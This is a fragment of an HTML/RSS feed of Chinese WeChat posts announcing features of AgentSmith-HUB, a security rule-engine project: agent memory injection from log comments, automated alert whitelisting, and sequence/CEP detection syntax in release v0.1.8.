25.6px;box-sizing: border-box !important;word-wrap: break-word !important;font-family: PingfangSC-LIGHT,sans-serif;" class="list-paddingleft-1"><li><p label="Converted by KNB Formatter from Jason Ng https://knb.im/mp" style="margin: 5px;max-width: 100%;min-height: 1em;white-space: pre-wrap;text-align: justify;line-height: 1.5;box-sizing: border-box !important;word-wrap: break-word !important;"><span style="max-width: 100%;line-height: 30px;color: rgb(84, 84, 84);box-sizing: border-box !important;word-wrap: break-word !important;font-size:15px;font-style: normal;font-family: PingfangSC-LIGHT,sans-serif;"><span leaf="">Agent Log 模块支持评论，评论后会调用 HUB 内置的 Memory Agent 总结并对评论的 Agent 追加注入 Memory，实现 Agent 的持续自动化优化：</span></span></p></li></ul><p style="text-align: center;" nodeleaf=""><img data-aistatus="1" class="rich_pages wxw-img" data-ratio="0.9092592592592592" data-s="300,640" data-type="png" data-w="1080" type="block" data-imgfileid="100000811" src="https://wechat2rss.xlab.app/img-proxy/?k=4f03ef46&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FhaeEa6u0cicCPLs7eDRT78LtGjNE8olrnRrIU6rB689eDZk9mNs1BCYakttAPvw9CQwUFL867lgoLS09LkmYYryopUGowTkxynWGGTeHDiarM%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><p style="text-align: center;" nodeleaf=""><img data-aistatus="1" class="rich_pages wxw-img" data-ratio="0.5444444444444444" data-s="300,640" data-type="png" data-w="1080" type="block" data-imgfileid="100000812" src="https://wechat2rss.xlab.app/img-proxy/?k=03342cc8&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FhaeEa6u0cicCB6gsThKZulD9xTMbZ8MQ97ez0Reo7rN68F222r4IUKp5csWAmWZh5qSWhIhCHB22osEklNbia1XT7uZicj1LgjcTFTSGrekfkY%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><p label="Converted by KNB Formatter from Jason Ng https://knb.im/mp" style="margin:5px;max-width:100%;min-height:1em;white-space:pre-wrap;text-align:justify;line-height:1.5;box-sizing:border-box !important;word-wrap:break-word !important;"><span style="max-width: 100%;line-height: 30px;color: rgb(84, 84, 84);box-sizing: border-box !important;word-wrap: break-word !important;font-size:15px;font-style: normal;font-family: PingfangSC-LIGHT,sans-serif;"><span leaf="">(评论后会自动生成 Memory 并会自动重启 Agent 模块)</span></span></p><p label="Converted by KNB Formatter from Jason Ng https://knb.im/mp" style="line-height: 25.6px;min-height: 1em;max-width: 100%;min-height: 1em;white-space: pre-wrap;color: rgb(62, 62, 62);box-sizing: border-box !important;word-wrap: break-word !important;"><strong style="max-width: 100%;color: rgb(41, 148, 128);line-height: 25.6px;min-height: 1em;box-sizing: border-box !important;word-wrap: break-word !important;"><em style="max-width: 100%;box-sizing: border-box !important;word-wrap: break-word !important;"><span style="max-width: 100%;font-size: 24px;box-sizing: border-box !important;padding-left:4px;word-wrap: break-word !important;font-family: PingFangSC-Semibold,sans-serif;"><span leaf=""><span textstyle="" style="font-size: 20px;color: rgb(0, 0, 0);font-style: normal;">2. Agent 模块实践案例</span></span></span></em></strong></p><p label="Converted by KNB Formatter from Jason Ng https://knb.im/mp" style="margin: 20px;max-width: 100%;min-height: 1em;white-space: pre-wrap;color: rgb(43, 43, 43);text-align: justify;line-height: 1.5;box-sizing: border-box !important;word-wrap: break-word !important;"><span style="max-width: 100%;line-height: 28px;box-sizing: border-box !important;word-wrap: break-word !important;letter-spacing:1px;font-size:15px;font-family: PingfangSC-LIGHT,sans-serif;"><span leaf="">该实践案例是通过引入 Agent 模块针对告警进行置信度打分和自动化添加白名单。</span></span></p><ul style="list-style-type: disc;color: #00c8dd;width: 515.844px;max-width: 100%;color: rgb(41, 148, 128);line-height: 25.6px;box-sizing: border-box !important;word-wrap: break-word !important;font-family: PingfangSC-LIGHT,sans-serif;" class="list-paddingleft-1"><li><p label="Converted by KNB Formatter from Jason Ng https://knb.im/mp" style="margin: 5px;max-width: 100%;min-height: 1em;white-space: pre-wrap;text-align: justify;line-height: 1.5;box-sizing: border-box !important;word-wrap: break-word !important;"><span style="max-width: 100%;line-height: 30px;color: rgb(84, 84, 84);box-sizing: border-box !important;word-wrap: break-word !important;font-size:15px;font-style: normal;font-family: PingfangSC-LIGHT,sans-serif;"><span leaf="">Project 整体结构如下，其中 cwpp_whitelist 为白名单模块：</span></span></p></li></ul><p label="Converted by KNB Formatter from Jason Ng https://knb.im/mp" style="margin:5px;max-width:100%;min-height:1em;white-space:pre-wrap;text-align:justify;line-height:1.5;box-sizing:border-box !important;word-wrap:break-word !important;"><span style="max-width: 100%;line-height: 30px;color: rgb(84, 84, 84);box-sizing: border-box !important;word-wrap: break-word !important;font-size:15px;font-style: normal;font-family: PingfangSC-LIGHT,sans-serif;"><span leaf=""><img data-aistatus="1" class="rich_pages wxw-img" data-ratio="0.6967854039965248" data-w="2302" src="https://wechat2rss.xlab.app/img-proxy/?k=e2afd3ca&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FhaeEa6u0cicD87iaibj0sT5NQ4GMGv9vGY8U1xB2zm7ic6XmCXQJdsavurnPfs3Rbvh9KRHDOFx63oCCtpU6LhfNeBBGefVic9DuLyhK3ACCYUqY%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></span></span></p><ul style="list-style-type: disc;color: #00c8dd;width: 515.844px;max-width: 100%;color: rgb(41, 148, 128);line-height: 25.6px;box-sizing: border-box !important;word-wrap: break-word !important;font-family: PingfangSC-LIGHT,sans-serif;" class="list-paddingleft-1"><li><p label="Converted by KNB Formatter from Jason Ng https://knb.im/mp" style="margin: 5px;max-width: 100%;min-height: 1em;white-space: pre-wrap;text-align: justify;line-height: 1.5;box-sizing: border-box !important;word-wrap: break-word !important;"><span style="max-width: 100%;line-height: 30px;color: rgb(84, 84, 84);box-sizing: border-box !important;word-wrap: break-word !important;font-size:15px;font-style: normal;font-family: PingfangSC-LIGHT,sans-serif;"><span leaf="">Agent 内容如下，该 Agent 主要功能是针对告警进行分析置信度，针对置信度低 0-0.2 的调用 hub_ruleset_expert skill 生成白名单策略，然后通过 addRule 插件进行自动化加白处理：</span></span></p></li></ul><p style="text-align: center;" nodeleaf=""><img data-aistatus="1" class="rich_pages wxw-img" data-ratio="1.4175925925925925" data-s="300,640" data-type="png" data-w="1080" type="block" data-imgfileid="100000814" src="https://wechat2rss.xlab.app/img-proxy/?k=5c830b61&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FhaeEa6u0cicDVorRIA7Uh0WpdnuFZoFxZpZpCvzTWrgbkUFgMBDGyupqy6SqXwdCUaV3HZXXqsXrHQ4dG2q1A2Xic3EdVSOmsYzDsm2AuhXws%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><ul style="list-style-type: disc;color: #00c8dd;width: 515.844px;max-width: 100%;color: rgb(41, 148, 128);line-height: 25.6px;box-sizing: border-box !important;word-wrap: break-word !important;font-family: PingfangSC-LIGHT,sans-serif;" class="list-paddingleft-1"><li><p label="Converted by KNB Formatter from Jason Ng https://knb.im/mp" style="margin: 5px;max-width: 100%;min-height: 1em;white-space: pre-wrap;text-align: justify;line-height: 1.5;box-sizing: border-box !important;word-wrap: break-word !important;"><span style="max-width: 100%;line-height: 30px;color: rgb(84, 84, 84);box-sizing: border-box !important;word-wrap: break-word !important;font-size:15px;font-style: normal;font-family: PingfangSC-LIGHT,sans-serif;"><span leaf="">我们可以通过针对 Agent Log 评论进行自动化生成 Memory 从而实现持续的自动化优化。</span></span></p></li></ul><p label="Converted by KNB Formatter from Jason Ng https://knb.im/mp" style="line-height: 25.6px;min-height: 1em;max-width: 100%;min-height: 1em;white-space: pre-wrap;color: rgb(62, 62, 62);box-sizing: border-box !important;word-wrap: break-word !important;"><strong style="max-width: 100%;color: rgb(41, 148, 128);line-height: 25.6px;min-height: 1em;box-sizing: border-box !important;word-wrap: break-word !important;"><em style="max-width: 100%;box-sizing: border-box !important;word-wrap: break-word !important;"><span style="max-width: 100%;font-size: 24px;box-sizing: border-box !important;padding-left:4px;word-wrap: break-word !important;font-family: PingFangSC-Semibold,sans-serif;"><span leaf=""><span textstyle="" style="font-size: 20px;color: rgb(0, 0, 0);font-style: normal;">3. 其他优化和修复</span></span></span></em></strong></p><ul style="list-style-type: disc;color: #00c8dd;width: 515.844px;max-width: 100%;color: rgb(41, 148, 128);line-height: 25.6px;box-sizing: border-box !important;word-wrap: break-word !important;font-family: PingfangSC-LIGHT,sans-serif;" class="list-paddingleft-1"><li><p label="Converted by KNB Formatter from Jason Ng https://knb.im/mp" style="margin: 5px;max-width: 100%;min-height: 1em;white-space: pre-wrap;text-align: justify;line-height: 1.5;box-sizing: border-box !important;word-wrap: break-word !important;"><span style="max-width: 100%;line-height: 30px;color: rgb(84, 84, 84);box-sizing: border-box !important;word-wrap: break-word !important;font-size:15px;font-style: normal;font-family: PingfangSC-LIGHT,sans-serif;"><span leaf="">Ruleset 更新支持热加载，不再需要重启整个 Project；</span></span></p></li><li><p label="Converted by KNB Formatter from Jason Ng https://knb.im/mp" style="margin: 5px;max-width: 100%;min-height: 1em;white-space: pre-wrap;text-align: justify;line-height: 1.5;box-sizing: border-box !important;word-wrap: break-word !important;"><span style="max-width: 100%;line-height: 30px;color: rgb(84, 84, 84);box-sizing: border-box !important;word-wrap: break-word !important;font-size:15px;font-style: normal;font-family: PingfangSC-LIGHT,sans-serif;"><span leaf="">彻底将 Sidebar 和主区域分开，视为两个单独区域，优化整体前端体验；</span></span></p></li><li><p label="Converted by KNB Formatter from Jason Ng https://knb.im/mp" style="margin: 5px;max-width: 100%;min-height: 1em;white-space: pre-wrap;text-align: justify;line-height: 1.5;box-sizing: border-box !important;word-wrap: break-word !important;"><span style="max-width: 100%;line-height: 30px;color: rgb(84, 84, 84);box-sizing: border-box !important;word-wrap: break-word !important;font-size:15px;font-style: normal;font-family: PingfangSC-LIGHT,sans-serif;"><span leaf="">修复多个 Bug，提升用户和交互体验。</span></span></p></li></ul><p label="Converted by KNB Formatter from Jason Ng https://knb.im/mp" style="line-height: 25.6px;min-height: 1em;max-width: 100%;min-height: 1em;white-space: pre-wrap;color: rgb(62, 62, 62);box-sizing: border-box !important;word-wrap: break-word !important;"><strong style="max-width: 100%;color: rgb(41, 148, 128);line-height: 25.6px;min-height: 1em;box-sizing: border-box !important;word-wrap: break-word !important;"><em style="max-width: 100%;box-sizing: border-box !important;word-wrap: break-word !important;"><span style="max-width: 100%;font-size: 24px;box-sizing: border-box !important;padding-left:4px;word-wrap: break-word !important;font-family: PingFangSC-Semibold,sans-serif;"><span leaf="" data-pm-slice="1 1 [&#34;para&#34;,{&#34;tagName&#34;:&#34;p&#34;,&#34;attributes&#34;:{&#34;label&#34;:&#34;Converted by KNB Formatter from Jason Ng https://knb.im/mp&#34;,&#34;style&#34;:&#34;line-height: 25.6px; min-height: 1em; max-width: 100%; min-height: 1em; white-space: pre-wrap; color: rgb(62, 62, 62); box-sizing: border-box !important; word-wrap: break-word !important;&#34;},&#34;namespaceURI&#34;:&#34;http://www.w3.org/1999/xhtml&#34;},&#34;node&#34;,{&#34;tagName&#34;:&#34;strong&#34;,&#34;attributes&#34;:{&#34;style&#34;:&#34;max-width: 100%; color: rgb(41, 148, 128); line-height: 25.6px; min-height: 1em; box-sizing: border-box !important; word-wrap: break-word !important;&#34;},&#34;namespaceURI&#34;:&#34;http://www.w3.org/1999/xhtml&#34;},&#34;node&#34;,{&#34;tagName&#34;:&#34;em&#34;,&#34;attributes&#34;:{&#34;style&#34;:&#34;max-width: 100%; box-sizing: border-box !important; word-wrap: break-word !important;&#34;},&#34;namespaceURI&#34;:&#34;http://www.w3.org/1999/xhtml&#34;},&#34;node&#34;,{&#34;tagName&#34;:&#34;span&#34;,&#34;attributes&#34;:{&#34;style&#34;:&#34;max-width: 100%; font-size: 24px; box-sizing: border-box !important; padding-left:4px; word-wrap: break-word !important; font-family: PingFangSC-Semibold,sans-serif;&#34;},&#34;namespaceURI&#34;:&#34;http://www.w3.org/1999/xhtml&#34;}]"><span textstyle="" style="font-size: 20px;color: rgb(0, 0, 0);font-style: normal;">4. 项目地址</span></span></span></em></strong></p><p label="Converted by KNB Formatter from Jason Ng https://knb.im/mp" style="line-height: 25.6px;min-height: 1em;max-width: 100%;min-height: 1em;white-space: pre-wrap;color: rgb(62, 62, 62);box-sizing: border-box !important;word-wrap: break-word !important;"><span label="Converted by KNB Formatter from Jason Ng https://knb.im/mp" style="color:#66CCC5;"><span leaf=""><span textstyle="" style="font-size: 15px;color: rgb(0, 122, 170);font-style: italic;"><a href="https://github.com/EBWi11/AgentSmith-HUB" target="_blank">https://github.com/EBWi11/AgentSmith-HUB</a></span></span></span></p><p style="display: none;"><mp-style-type data-value="3"></mp-style-type></p>



<p><a href="https://wechat2rss.xlab.app/link-proxy/?k=ec81a46d&amp;r=1&amp;u=https%3A%2F%2Fmp.weixin.qq.com%2Fs%3F__biz%3DMzI1NTc1NTcwNg%3D%3D%26mid%3D2247484468%26idx%3D1%26sn%3D29c2d5d65715c80badfd94979f70fb83">跳转微信打开</a></p>
]]></content:encoded>
      <pubDate>Mon, 23 Mar 2026 12:16:00 +0800</pubDate>
    </item>
    <item>
      <title>AgentSmith-HUB v0.1.8 更新说明</title>
      <link>https://mp.weixin.qq.com/s?__biz=MzI1NTc1NTcwNg==&amp;mid=2247484450&amp;idx=1&amp;sn=3e2dda48c7372c3845241a556d8d6fab</link>
      <description>AgentSmith-HUB v0.1.8 更新说明</description>
      <content:encoded><![CDATA[<p>原创 <span>EBwill</span> <span>2026-02-26 19:43</span> <span style="display: inline-block;">上海</span></p>






  
  <p><img src="https://wechat2rss.xlab.app/img-proxy/?k=48105f4e&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_jpg%2FhaeEa6u0cicAQ5iafQIfP7qfn98Sv13VbtAkK5icJyfnmEujYQSBJibrJoWHpzs3ibIf0I2x8mV2wyyH1ETDT4QTpkibXJ8bamgsdSRia62m8VFx0s%2F0%3Fwx_fmt%3Djpeg"/></p>
  <p>AgentSmith-HUB v0.1.8 更新说明</p>
  <p label="Converted by KNB Formatter from Jason Ng https://knb.im/mp" style="margin: 20px;max-width: 100%;min-height: 1em;white-space: pre-wrap;color: rgb(137, 137, 137);text-align: justify;line-height: 1.5;box-sizing: border-box !important;word-wrap: break-word !important;"><strong style="max-width: 100%;color: rgb(62, 62, 62);line-height: 25.6px;min-height: 1em;box-sizing: border-box !important;word-wrap: break-word !important;"><span style="max-width: 100%;font-size: 20px;box-sizing: border-box !important;word-wrap: break-word !important;"><strong style="max-width: 100%;color: rgb(137, 137, 137);font-size: 18px;line-height: 1.5;white-space: normal;box-sizing: border-box !important;word-wrap: break-word !important;"><span style="max-width: 100%;color: rgb(62, 62, 62);box-sizing: border-box !important;word-wrap: break-word !important;font-family: PingFangSC-Semibold,sans-serif;"><span leaf="">性能提升</span></span></strong></span></strong></p><p label="Converted by KNB Formatter from Jason Ng https://knb.im/mp" style="margin: 20px;max-width: 100%;min-height: 1em;white-space: pre-wrap;color: rgb(43, 43, 43);text-align: justify;line-height: 1.5;box-sizing: border-box !important;word-wrap: break-word !important;"><span style="max-width: 100%;line-height: 28px;box-sizing: border-box !important;word-wrap: break-word !important;letter-spacing:1px;font-size:15px;font-family: PingfangSC-LIGHT,sans-serif;"><span leaf="">对比早期版本在相同 Project 的测试条件和相同的硬件（2vCPUs）条件下，TPS 从 <span textstyle="" style="font-weight: bold;">4 万/秒</span> 提升到 <span textstyle="" style="font-weight: bold;">390 万/秒</span>，内存从 <span textstyle="" style="font-weight: bold;">350MB</span> 减少到 <span textstyle="" style="font-weight: bold;">80MB</span>。</span></span></p><p label="Converted by KNB Formatter from Jason Ng https://knb.im/mp" style="margin: 20px;max-width: 100%;min-height: 1em;white-space: pre-wrap;color: rgb(137, 137, 137);text-align: justify;line-height: 1.5;box-sizing: border-box !important;word-wrap: break-word !important;"><strong style="max-width: 100%;color: rgb(62, 62, 62);line-height: 25.6px;min-height: 1em;box-sizing: border-box !important;word-wrap: break-word !important;"><span style="max-width: 100%;font-size: 20px;box-sizing: border-box !important;word-wrap: break-word !important;"><strong style="max-width: 100%;color: rgb(137, 137, 137);font-size: 18px;line-height: 1.5;white-space: normal;box-sizing: border-box !important;word-wrap: break-word !important;"><span style="max-width: 100%;color: rgb(62, 62, 62);box-sizing: border-box !important;word-wrap: break-word !important;font-family: PingFangSC-Semibold,sans-serif;"><span leaf="">新增行为序列检测能力</span></span></strong></span></strong></p><p label="Converted by KNB Formatter from Jason Ng https://knb.im/mp" style="margin: 20px;max-width: 100%;min-height: 1em;white-space: pre-wrap;color: rgb(43, 43, 43);text-align: justify;line-height: 1.5;box-sizing: border-box !important;word-wrap: break-word !important;"><span style="max-width: 100%;line-height: 28px;box-sizing: border-box !important;word-wrap: break-word !important;letter-spacing:1px;font-size:15px;font-family: PingfangSC-LIGHT,sans-serif;"><span leaf="">Ruleset 引入了 </span><span style="background-color:rgb(238, 253, 247);white-space: pre-wrap;border-width: 0.25em 0;display: inline;font-weight: normal;padding: 0 4px 0 4px;padding:0 2px 0 2px;border:1px solid rgb(73, 200, 149);border-radius:2px;"><span leaf="">&lt;sequence&gt;</span></span><span leaf=""> 语法，原生支持单数据流或跨数据流且乱序数据的行为序列、CEP 检测。</span></span></p><p label="Converted by KNB Formatter from Jason Ng https://knb.im/mp" style="margin: 20px;max-width: 100%;min-height: 1em;white-space: pre-wrap;color: rgb(43, 43, 43);text-align: justify;line-height: 1.5;box-sizing: border-box !important;word-wrap: break-word !important;"><span style="max-width: 100%;line-height: 28px;box-sizing: border-box !important;word-wrap: break-word !important;letter-spacing:1px;font-size:15px;font-family: PingfangSC-LIGHT,sans-serif;"><span leaf=""><span textstyle="" style="font-weight: bold;">示例1：</span></span></span></p><p style="text-align: center;" nodeleaf=""><img class="rich_pages wxw-img" data-aistatus="1" data-imgfileid="100000791" data-ratio="0.5888888888888889" data-s="300,640" type="block" data-type="png" data-w="1080" src="https://wechat2rss.xlab.app/img-proxy/?k=32830f73&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FhaeEa6u0cicBIw5wRicGgjAVOcdPqHo2AaVped85IYAibJjmpvxlrrxwbl94h2XEBxiaficnmibWwglBqx6zAicRUlXVEP5ic4VnoyhTHt17FEXNxbs%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><div><p label="Converted by KNB Formatter from Jason Ng https://knb.im/mp" style="margin: 20px;max-width: 100%;min-height: 1em;white-space: pre-wrap;color: rgb(43, 43, 43);text-align: justify;line-height: 1.5;box-sizing: border-box !important;word-wrap: break-word !important;"><span style="max-width: 100%;line-height: 28px;box-sizing: border-box !important;word-wrap: break-word !important;letter-spacing:1px;font-size:15px;font-family: PingfangSC-LIGHT,sans-serif;"><span leaf="" data-pm-slice="1 1 [&#34;para&#34;,{&#34;tagName&#34;:&#34;p&#34;,&#34;attributes&#34;:{&#34;label&#34;:&#34;Converted by KNB Formatter from Jason Ng https://knb.im/mp&#34;,&#34;style&#34;:&#34;margin: 20px; max-width: 100%; min-height: 1em; white-space: pre-wrap; color: rgb(43, 43, 43); text-align: justify; line-height: 1.5; box-sizing: border-box !important; word-wrap: break-word !important;&#34;},&#34;namespaceURI&#34;:&#34;http://www.w3.org/1999/xhtml&#34;},&#34;node&#34;,{&#34;tagName&#34;:&#34;span&#34;,&#34;attributes&#34;:{&#34;style&#34;:&#34;max-width: 100%; line-height: 28px; box-sizing: border-box !important; word-wrap: break-word !important; letter-spacing:1px; font-size:15px; font-family: PingfangSC-LIGHT,sans-serif;&#34;},&#34;namespaceURI&#34;:&#34;http://www.w3.org/1999/xhtml&#34;}]"><span textstyle="" style="font-weight: bold;">示例2：</span></span></span></p><p style="text-align: center;" nodeleaf=""><img data-aistatus="1" class="rich_pages wxw-img" data-ratio="0.5638888888888889" data-s="300,640" data-type="png" data-w="1080" type="block" data-imgfileid="100000792" src="https://wechat2rss.xlab.app/img-proxy/?k=672e75aa&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FhaeEa6u0cicCkLfBW0ze8w4eJSxnVniawrayxYAD2xia7GMfX7CcU6G3TCQHiboibLHPNPLER3lC4QGA0XPx1pgXvkGKyxMrjSqzHtzbuPibJqf0Y%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p></div><div><p label="Converted by KNB Formatter from Jason Ng https://knb.im/mp" style="margin: 20px;max-width: 100%;min-height: 1em;white-space: pre-wrap;color: rgb(43, 43, 43);text-align: justify;line-height: 1.5;box-sizing: border-box !important;word-wrap: break-word !important;"><span style="max-width: 100%;line-height: 28px;box-sizing: border-box !important;word-wrap: break-word !important;letter-spacing:1px;font-size:15px;font-family: PingfangSC-LIGHT,sans-serif;"><span leaf="" data-pm-slice="1 1 [&#34;para&#34;,{&#34;tagName&#34;:&#34;p&#34;,&#34;attributes&#34;:{&#34;label&#34;:&#34;Converted by KNB Formatter from Jason Ng https://knb.im/mp&#34;,&#34;style&#34;:&#34;margin: 20px; max-width: 100%; min-height: 1em; white-space: pre-wrap; color: rgb(43, 43, 43); text-align: justify; line-height: 1.5; box-sizing: border-box !important; word-wrap: break-word !important;&#34;},&#34;namespaceURI&#34;:&#34;http://www.w3.org/1999/xhtml&#34;},&#34;node&#34;,{&#34;tagName&#34;:&#34;span&#34;,&#34;attributes&#34;:{&#34;style&#34;:&#34;max-width: 100%; line-height: 28px; box-sizing: border-box !important; word-wrap: break-word !important; letter-spacing:1px; font-size:15px; font-family: PingfangSC-LIGHT,sans-serif;&#34;},&#34;namespaceURI&#34;:&#34;http://www.w3.org/1999/xhtml&#34;}]"><span textstyle="" style="font-weight: bold;">示例3：</span></span></span></p><p style="text-align: center;" nodeleaf=""><img class="rich_pages wxw-img" data-aistatus="1" data-imgfileid="100000793" data-ratio="0.725" data-s="300,640" type="block" data-type="png" data-w="1080" src="https://wechat2rss.xlab.app/img-proxy/?k=f2df10e9&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FhaeEa6u0cicBrltssIGXSMTrB3ibby3f6AEAqvibYEoh4lYUclsYcibJibWyBr2Ywt2m99WBReeFQJ9TErfLGxdXZjefiaWdcZz9icZTaDxBgnXwicg%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><p label="Converted by KNB Formatter from Jason Ng https://knb.im/mp" style="margin: 20px;max-width: 100%;min-height: 1em;white-space: pre-wrap;color: rgb(43, 43, 43);text-align: justify;line-height: 1.5;box-sizing: border-box !important;word-wrap: break-word !important;"><span style="max-width: 100%;line-height: 28px;box-sizing: border-box !important;word-wrap: break-word !important;letter-spacing:1px;font-size:15px;font-family: PingfangSC-LIGHT,sans-serif;"><span leaf="" data-pm-slice="1 1 [&#34;para&#34;,{&#34;tagName&#34;:&#34;p&#34;,&#34;attributes&#34;:{&#34;label&#34;:&#34;Converted by KNB Formatter from Jason Ng https://knb.im/mp&#34;,&#34;style&#34;:&#34;margin: 20px; max-width: 100%; min-height: 1em; white-space: pre-wrap; color: rgb(43, 43, 43); text-align: justify; line-height: 1.5; box-sizing: border-box !important; word-wrap: break-word !important;&#34;},&#34;namespaceURI&#34;:&#34;http://www.w3.org/1999/xhtml&#34;},&#34;node&#34;,{&#34;tagName&#34;:&#34;span&#34;,&#34;attributes&#34;:{&#34;style&#34;:&#34;max-width: 100%; line-height: 28px; box-sizing: border-box !important; word-wrap: break-word !important; letter-spacing:1px; font-size:15px; font-family: PingfangSC-LIGHT,sans-serif;&#34;},&#34;namespaceURI&#34;:&#34;http://www.w3.org/1999/xhtml&#34;}]"><span textstyle="" style="font-weight: bold;">示例4：</span></span></span></p><p style="text-align: center;" nodeleaf=""><img class="rich_pages wxw-img" data-aistatus="1" data-imgfileid="100000794" data-ratio="0.6583333333333333" data-s="300,640" type="block" data-type="png" data-w="1080" src="https://wechat2rss.xlab.app/img-proxy/?k=3338e1c3&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FhaeEa6u0cicCaeth0yJ3VibK7IaanibYAAfwzUkx5GpYkR974toGHDuPsY6XXicgLv5icoIsCNpqQ4mJAO6aoZ389RKogQx8CibmPzc06kAE8L7EQ%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><p label="Converted by KNB Formatter from Jason Ng https://knb.im/mp" style="margin: 20px;max-width: 100%;min-height: 1em;white-space: pre-wrap;color: rgb(43, 43, 43);text-align: justify;line-height: 1.5;box-sizing: border-box !important;word-wrap: break-word !important;"><span style="max-width: 100%;line-height: 28px;box-sizing: border-box !important;word-wrap: break-word !important;letter-spacing:1px;font-size:15px;font-family: PingfangSC-LIGHT,sans-serif;" data-pm-slice="0 0 []"><span leaf="">用户可以通过 </span><span style="background-color:rgb(238, 253, 247);white-space: pre-wrap;border-width: 0.25em 0;display: inline;font-weight: normal;padding: 0 4px 0 4px;padding:0 2px 0 2px;border:1px solid rgb(73, 200, 149);border-radius:2px;"><span leaf="">_@</span></span><span leaf=""> 来构建和传递序列级上下文，进一步提升检测灵活度。</span></span></p><p label="Converted by KNB Formatter from Jason Ng https://knb.im/mp" style="margin: 20px;max-width: 100%;min-height: 1em;white-space: pre-wrap;color: rgb(43, 43, 43);text-align: justify;line-height: 1.5;box-sizing: border-box !important;word-wrap: break-word !important;"><span style="max-width: 100%;line-height: 28px;box-sizing: border-box !important;word-wrap: break-word !important;letter-spacing:1px;font-size:15px;font-family: PingfangSC-LIGHT,sans-serif;"><span leaf="" data-pm-slice="1 1 [&#34;para&#34;,{&#34;tagName&#34;:&#34;p&#34;,&#34;attributes&#34;:{&#34;label&#34;:&#34;Converted by KNB Formatter from Jason Ng https://knb.im/mp&#34;,&#34;style&#34;:&#34;margin: 20px; max-width: 100%; min-height: 1em; white-space: pre-wrap; color: rgb(43, 43, 43); text-align: justify; line-height: 1.5; box-sizing: border-box !important; word-wrap: break-word !important;&#34;},&#34;namespaceURI&#34;:&#34;http://www.w3.org/1999/xhtml&#34;},&#34;node&#34;,{&#34;tagName&#34;:&#34;span&#34;,&#34;attributes&#34;:{&#34;style&#34;:&#34;max-width: 100%; line-height: 28px; box-sizing: border-box !important; word-wrap: break-word !important; letter-spacing:1px; font-size:15px; font-family: PingfangSC-LIGHT,sans-serif;&#34;},&#34;namespaceURI&#34;:&#34;http://www.w3.org/1999/xhtml&#34;}]"><span textstyle="" style="font-weight: bold;">示例5：</span></span></span></p><p style="text-align: center;" nodeleaf=""><img data-aistatus="1" class="rich_pages wxw-img" data-ratio="0.5027777777777778" data-s="300,640" data-type="png" data-w="1080" type="block" data-imgfileid="100000795" src="https://wechat2rss.xlab.app/img-proxy/?k=724f603a&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FhaeEa6u0cicAHp0EzXEzU0qBljPibz1zZ8h91Fibfm5DWM3RlOoMMBxHH7ogWiasIDQ0eZ5793XKeJ7c5u23o6nibuU8XOWHHqW2Jic75onpTS0ko%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><p label="Converted by KNB Formatter from Jason Ng https://knb.im/mp" style="margin: 20px;max-width: 100%;min-height: 1em;white-space: pre-wrap;color: rgb(43, 43, 43);text-align: justify;line-height: 1.5;box-sizing: border-box !important;word-wrap: break-word !important;" data-pm-slice="0 0 []"><span style="max-width: 100%;line-height: 28px;box-sizing: border-box !important;word-wrap: break-word !important;letter-spacing:1px;font-size:15px;font-family: PingfangSC-LIGHT,sans-serif;"><span leaf="">可以通过指定时间戳来解决乱序场景问题，该功能在多数据流场景下会有很大帮助。</span></span></p></div><p label="Converted by KNB Formatter from Jason Ng https://knb.im/mp" style="margin: 20px;max-width: 100%;min-height: 1em;white-space: pre-wrap;color: rgb(43, 43, 43);text-align: justify;line-height: 1.5;box-sizing: border-box !important;word-wrap: break-word !important;"><span style="max-width: 100%;line-height: 28px;box-sizing: border-box !important;word-wrap: break-word !important;letter-spacing:1px;font-size:15px;font-family: PingfangSC-LIGHT,sans-serif;"><span leaf="">另外</span><span style="background-color:rgb(238, 253, 247);white-space: pre-wrap;border-width: 0.25em 0;display: inline;font-weight: normal;padding: 0 4px 0 4px;padding:0 2px 0 2px;border:1px solid rgb(73, 200, 149);border-radius:2px;"><span leaf="">&lt;event&gt;</span></span><span leaf="">内可以使用全功能的</span><span style="background-color:rgb(238, 253, 247);white-space: pre-wrap;border-width: 0.25em 0;display: inline;font-weight: normal;padding: 0 4px 0 4px;padding:0 2px 0 2px;border:1px solid rgb(73, 200, 149);border-radius:2px;"><span leaf="">&lt;check&gt;</span></span><span leaf="">、</span><span style="background-color:rgb(238, 253, 247);white-space: pre-wrap;border-width: 0.25em 0;display: inline;font-weight: normal;padding: 0 4px 0 4px;padding:0 2px 0 2px;border:1px solid rgb(73, 200, 149);border-radius:2px;"><span leaf="">&lt;checklist&gt;</span></span><span leaf="">、</span><span style="background-color:rgb(238, 253, 247);white-space: pre-wrap;border-width: 0.25em 0;display: inline;font-weight: normal;padding: 0 4px 0 4px;padding:0 2px 0 2px;border:1px solid rgb(73, 200, 149);border-radius:2px;"><span leaf="">&lt;threshold&gt;</span></span><span leaf="">，更多详情介绍请移步 Github 相关文档。</span></span></p><p label="Converted by KNB Formatter from Jason Ng https://knb.im/mp" style="margin: 20px;max-width: 100%;min-height: 1em;white-space: pre-wrap;color: rgb(137, 137, 137);text-align: justify;line-height: 1.5;box-sizing: border-box !important;word-wrap: break-word !important;"><strong style="max-width: 100%;color: rgb(62, 62, 62);line-height: 25.6px;min-height: 1em;box-sizing: border-box 